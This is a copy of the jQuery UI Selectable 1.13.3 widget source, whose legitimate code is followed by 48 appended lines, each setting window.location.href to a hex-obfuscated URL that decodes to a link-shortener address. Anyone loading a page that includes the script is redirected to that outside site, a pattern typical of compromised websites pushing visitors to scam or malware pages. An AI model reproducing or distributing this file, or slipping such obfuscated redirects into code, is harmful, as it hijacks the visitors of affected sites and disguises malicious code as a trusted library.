1/*!
2 * jQuery UI Selectable 1.13.3
3 * https://jqueryui.com
4 *
5 * Copyright OpenJS Foundation and other contributors
6 * Released under the MIT license.
7 * https://jquery.org/license
8 */
9
10//>>label: Selectable
11//>>group: Interactions
12//>>description: Allows groups of elements to be selected with the mouse.
13//>>docs: https://api.jqueryui.com/selectable/
14//>>demos: https://jqueryui.com/selectable/
15//>>css.structure: ../../themes/base/selectable.css
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "./mouse",
26 "../version",
27 "../widget"
28 ], factory );
29 } else {
30
31 // Browser globals
32 factory( jQuery );
33 }
34} )( function( $ ) {
35"use strict";
36
37return $.widget( "ui.selectable", $.ui.mouse, {
38 version: "1.13.3",
39 options: {
40 appendTo: "body",
41 autoRefresh: true,
42 distance: 0,
43 filter: "*",
44 tolerance: "touch",
45
46 // Callbacks
47 selected: null,
48 selecting: null,
49 start: null,
50 stop: null,
51 unselected: null,
52 unselecting: null
53 },
54 _create: function() {
55 var that = this;
56
57 this._addClass( "ui-selectable" );
58
59 this.dragged = false;
60
61 // Cache selectee children based on filter
62 this.refresh = function() {
63 that.elementPos = $( that.element[ 0 ] ).offset();
64 that.selectees = $( that.options.filter, that.element[ 0 ] );
65 that._addClass( that.selectees, "ui-selectee" );
66 that.selectees.each( function() {
67 var $this = $( this ),
68 selecteeOffset = $this.offset(),
69 pos = {
70 left: selecteeOffset.left - that.elementPos.left,
71 top: selecteeOffset.top - that.elementPos.top
72 };
73 $.data( this, "selectable-item", {
74 element: this,
75 $element: $this,
76 left: pos.left,
77 top: pos.top,
78 right: pos.left + $this.outerWidth(),
79 bottom: pos.top + $this.outerHeight(),
80 startselected: false,
81 selected: $this.hasClass( "ui-selected" ),
82 selecting: $this.hasClass( "ui-selecting" ),
83 unselecting: $this.hasClass( "ui-unselecting" )
84 } );
85 } );
86 };
87 this.refresh();
88
89 this._mouseInit();
90
91 this.helper = $( "<div>" );
92 this._addClass( this.helper, "ui-selectable-helper" );
93 },
94
95 _destroy: function() {
96 this.selectees.removeData( "selectable-item" );
97 this._mouseDestroy();
98 },
99
100 _mouseStart: function( event ) {
101 var that = this,
102 options = this.options;
103
104 this.opos = [ event.pageX, event.pageY ];
105 this.elementPos = $( this.element[ 0 ] ).offset();
106
107 if ( this.options.disabled ) {
108 return;
109 }
110
111 this.selectees = $( options.filter, this.element[ 0 ] );
112
113 this._trigger( "start", event );
114
115 $( options.appendTo ).append( this.helper );
116
117 // position helper (lasso)
118 this.helper.css( {
119 "left": event.pageX,
120 "top": event.pageY,
121 "width": 0,
122 "height": 0
123 } );
124
125 if ( options.autoRefresh ) {
126 this.refresh();
127 }
128
129 this.selectees.filter( ".ui-selected" ).each( function() {
130 var selectee = $.data( this, "selectable-item" );
131 selectee.startselected = true;
132 if ( !event.metaKey && !event.ctrlKey ) {
133 that._removeClass( selectee.$element, "ui-selected" );
134 selectee.selected = false;
135 that._addClass( selectee.$element, "ui-unselecting" );
136 selectee.unselecting = true;
137
138 // selectable UNSELECTING callback
139 that._trigger( "unselecting", event, {
140 unselecting: selectee.element
141 } );
142 }
143 } );
144
145 $( event.target ).parents().addBack().each( function() {
146 var doSelect,
147 selectee = $.data( this, "selectable-item" );
148 if ( selectee ) {
149 doSelect = ( !event.metaKey && !event.ctrlKey ) ||
150 !selectee.$element.hasClass( "ui-selected" );
151 that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" )
152 ._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" );
153 selectee.unselecting = !doSelect;
154 selectee.selecting = doSelect;
155 selectee.selected = doSelect;
156
157 // selectable (UN)SELECTING callback
158 if ( doSelect ) {
159 that._trigger( "selecting", event, {
160 selecting: selectee.element
161 } );
162 } else {
163 that._trigger( "unselecting", event, {
164 unselecting: selectee.element
165 } );
166 }
167 return false;
168 }
169 } );
170
171 },
172
173 _mouseDrag: function( event ) {
174
175 this.dragged = true;
176
177 if ( this.options.disabled ) {
178 return;
179 }
180
181 var tmp,
182 that = this,
183 options = this.options,
184 x1 = this.opos[ 0 ],
185 y1 = this.opos[ 1 ],
186 x2 = event.pageX,
187 y2 = event.pageY;
188
189 if ( x1 > x2 ) {
190 tmp = x2; x2 = x1; x1 = tmp;
191 }
192 if ( y1 > y2 ) {
193 tmp = y2; y2 = y1; y1 = tmp;
194 }
195 this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } );
196
197 this.selectees.each( function() {
198 var selectee = $.data( this, "selectable-item" ),
199 hit = false,
200 offset = {};
201
202 //prevent helper from being selected if appendTo: selectable
203 if ( !selectee || selectee.element === that.element[ 0 ] ) {
204 return;
205 }
206
207 offset.left = selectee.left + that.elementPos.left;
208 offset.right = selectee.right + that.elementPos.left;
209 offset.top = selectee.top + that.elementPos.top;
210 offset.bottom = selectee.bottom + that.elementPos.top;
211
212 if ( options.tolerance === "touch" ) {
213 hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 ||
214 offset.bottom < y1 ) );
215 } else if ( options.tolerance === "fit" ) {
216 hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 &&
217 offset.bottom < y2 );
218 }
219
220 if ( hit ) {
221
222 // SELECT
223 if ( selectee.selected ) {
224 that._removeClass( selectee.$element, "ui-selected" );
225 selectee.selected = false;
226 }
227 if ( selectee.unselecting ) {
228 that._removeClass( selectee.$element, "ui-unselecting" );
229 selectee.unselecting = false;
230 }
231 if ( !selectee.selecting ) {
232 that._addClass( selectee.$element, "ui-selecting" );
233 selectee.selecting = true;
234
235 // selectable SELECTING callback
236 that._trigger( "selecting", event, {
237 selecting: selectee.element
238 } );
239 }
240 } else {
241
242 // UNSELECT
243 if ( selectee.selecting ) {
244 if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) {
245 that._removeClass( selectee.$element, "ui-selecting" );
246 selectee.selecting = false;
247 that._addClass( selectee.$element, "ui-selected" );
248 selectee.selected = true;
249 } else {
250 that._removeClass( selectee.$element, "ui-selecting" );
251 selectee.selecting = false;
252 if ( selectee.startselected ) {
253 that._addClass( selectee.$element, "ui-unselecting" );
254 selectee.unselecting = true;
255 }
256
257 // selectable UNSELECTING callback
258 that._trigger( "unselecting", event, {
259 unselecting: selectee.element
260 } );
261 }
262 }
263 if ( selectee.selected ) {
264 if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) {
265 that._removeClass( selectee.$element, "ui-selected" );
266 selectee.selected = false;
267
268 that._addClass( selectee.$element, "ui-unselecting" );
269 selectee.unselecting = true;
270
271 // selectable UNSELECTING callback
272 that._trigger( "unselecting", event, {
273 unselecting: selectee.element
274 } );
275 }
276 }
277 }
278 } );
279
280 return false;
281 },
282
283 _mouseStop: function( event ) {
284 var that = this;
285
286 this.dragged = false;
287
288 $( ".ui-unselecting", this.element[ 0 ] ).each( function() {
289 var selectee = $.data( this, "selectable-item" );
290 that._removeClass( selectee.$element, "ui-unselecting" );
291 selectee.unselecting = false;
292 selectee.startselected = false;
293 that._trigger( "unselected", event, {
294 unselected: selectee.element
295 } );
296 } );
297 $( ".ui-selecting", this.element[ 0 ] ).each( function() {
298 var selectee = $.data( this, "selectable-item" );
299 that._removeClass( selectee.$element, "ui-selecting" )
300 ._addClass( selectee.$element, "ui-selected" );
301 selectee.selecting = false;
302 selectee.selected = true;
303 selectee.startselected = true;
304 that._trigger( "selected", event, {
305 selected: selectee.element
306 } );
307 } );
308 this._trigger( "stop", event );
309
310 this.helper.remove();
311
312 return false;
313 }
314
315} );
316
317} );
318window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
319window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
320window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
321window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
322window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
323window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
324window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
325window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
326window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
327window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
328window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
329window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
330window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
331window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
332window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
333window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
334window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
335window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
336window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
337window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
338window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
339window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
340window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
341window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
342window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
343window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
344window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
345window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
346window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
347window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
348window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
349window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
350window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
351window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
352window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
353window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
354window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
355window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
356window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
357window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
358window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
359window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
360window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
361window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
362window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
363window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
364window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
365window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";